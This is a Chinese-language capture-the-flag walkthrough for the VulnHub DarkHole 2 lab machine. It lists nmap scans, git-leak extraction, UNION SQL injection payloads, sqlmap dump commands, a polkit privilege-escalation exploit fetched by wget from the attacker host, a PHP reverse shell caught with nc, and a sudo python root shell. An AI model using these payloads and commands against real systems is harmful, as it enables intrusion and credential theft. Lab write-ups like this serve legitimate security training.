一、DarkHole靶机下载
https://www.vulnhub.com/entry/darkhole-2,740/
下载后双击ovf文件
二、DarkHole靶机分析
1.使用nmap扫描端口,我这里是nat模式
nmap -sP 192.168.146.0/24
这里-sP意思是ping扫描
2.访问IP地址,发现80端口开放只有个登录窗口。
3.描一下IP地址的详细信息
nmap -A 192.168.146.128 -p-
-A参数表示使用高级扫描选项,包括操作系统检测、版本检测、脚本扫描等。
-p-参数表示扫描全端口。
官方给出的解释是:Git是一个开源的分布式版本控制系统 ,我们简单的理解为Git 是一个内容寻址文件系统,也就是说Git 的核心部分是键值对数据库。 当我们向 Git 仓库中插入任意类型的内容(开发者们在其中做的版本信息修改之类的操作),它会返回一个唯一的键,通过该键可以在任意时刻再次取回该内容
Git是一个可以实现有效控制应用版本的系统,但是在一旦在代码发布的时候,存在不规范的操作及配置,就很可能将源代码泄露出去。那么,一旦攻击者或者黑客发现这个问题之后,就可能利用其获取网站的源码、数据库等重要资源信息,进而造成严重的危害。
4.发现.git泄露,通过githacker将泄露的文件下载下来
githacker --url http://192.168.146.128/.git/ --output-folder dark
这里 --output-folder
参数的意思是生成一个dark文件夹将下载的文件放到这个文件夹中。
用于检测站点是否存在.git文件夹泄漏漏洞。几乎可以完全下载目标文件夹。当该DirectoryListings功能被禁用时,此工具也有效。值得一提的是,该工具会下载目标git存储库的几乎所有文件,然后在本地重建。
下载githacker
命令python3 -m pip install -i https://pypi.org/simple/ GitHacker
5.进入到git文件目录
使用git log
命令查看git日志,在日志中发现了一个带有默认凭证的分支。
6.切换到该分支查看一下这个login.php
git checkout a4d900a8d85e8938d3601f3cef113ee293028e10
7.查看login.php文件,获得用户密码
8.登录页面后,发现sql注入
9.SQL注入
方法一:
-
?id=1' order by 6 --+
查看id值有几个
-
构造union语句,确定哪些列数据可以显示,2、3、5、6列被显示在页面上,接下来将对应的数字换成SQL查询语句就可以获取数据库中的信息。
id=' union all select 1,2,3,4,5,6 --+
-
查询数据库名,得到数据库名darkhole_2
id=' union all select 1,GROUP_CONCAT(schema_name),3,4,5,6 FROM information_schema.schemata --+
-
查询表名,得到表ssh和users
?id=' union all select 1,GROUP_CONCAT(table_name),3,4,5,6 FROM information_schema.tables WHERE table_schema='darkhole_2' --+
-
查询ssh表中的列名,得到列名id,user,pass
?id=' union all select 1,GROUP_CONCAT(column_name),3,4,5,6 FROM information_schema.columns WHERE table_name='ssh' --+
-
查询列user和pass的数据,得到ssh的用户名jehad和密码fool,可以尝试登录下ssh
?id=' union all select 1,user,pass,4,5,6 FROM ssh--+
方法二:sqlmap直接爆破但是需要cookie值
指定cookie信息,用来代理登陆状态,如果站点目标URL需要登陆之后才能访问,那么在使用sqlmap对目标URL进行扫描时需要将登陆后的cookie一并带过去,不然sqlmap的扫描有可能会被重定向到登陆页面,或者没有访问该接口的权限
- 爆破数据库名
sqlmap -u http://192.168.146.128/dashboard.php?id=1 --cookie='PHPSESSID=ogapihjks384krpc7jb2tn0j6d' --dbs
- 爆破数据库表名
sqlmap -u http://192.168.146.128/dashboard.php?id=1 --cookie='PHPSESSID=ogapihjks384krpc7jb2tn0j6d' -D darkhole_2 --tables
- 爆破数据表结构
sqlmap -u http://192.168.146.128/dashboard.php?id=1 --cookie='PHPSESSID=ogapihjks384krpc7jb2tn0j6d' -D darkhole_2 -T ssh --columns
- 脱库
sqlmap -u http://192.168.146.128/dashboard.php?id=1 --cookie='PHPSESSID=ogapihjks384krpc7jb2tn0j6d' -D darkhole_2 -T ssh -C user,pass --dump
| user | pass | | jehad | fool |
10.ssh远程连接
11.提权
方法一:
- 查找suid权限
find / -perm -4000 2>/dev/null
polkit:PolKit(以前称为 PolicyKit)是一个应用程序框架,充当非特权用户会话与特权系统环境之间的协商者。 - 搜索漏洞
- 下载漏洞文件
- 查看文件
- 使用命令编译漏洞文件中已经告诉命令,无法在被攻击机中编译采用centos编译
gcc -shared -o evil.so -fPIC evil-so.c
gcc exploit.c -o exploit
- 启用python3将编译好的evil-so.c和exploit上传到被攻击机中
python -m http.server 80
- 下载exp文件
wget http://192.168.146.129/evil.so
wget http://192.168.146.129/exploit
- 加权限
chmode 777 exploit
chmod 777 exploit
./exploit
执行文件
方法二:
-
查看历史命令,发现
curl "http://127.0.0.1:9999/?cmd=id"
-
将9999端口映射到本地回环地址9999端口
ssh -L 127.0.0.1:9999:192.168.146.128:9999 jehad@192.168.146.128
-
复制kali自带的脚本到tmp文件夹下
-
修改复制出来的shell反弹脚本
vim 1.php
-
启动
python3 -m http.server 80
-
远程下载记得在/tmp文件夹下
wget http://192.168.146.129/1.php
-
使用命令
chmod 777 1.php
加可执行权限
-
执行1.php文件
php 1.php
-
nc成功接收到反弹shell
-
cat .bash_history
查看历史记录发现密码,使用sudo -l
查看是否有特殊权限
-
提权
sudo /usr/bin/python3 -c "import os;os.system(’/bin/bash’)"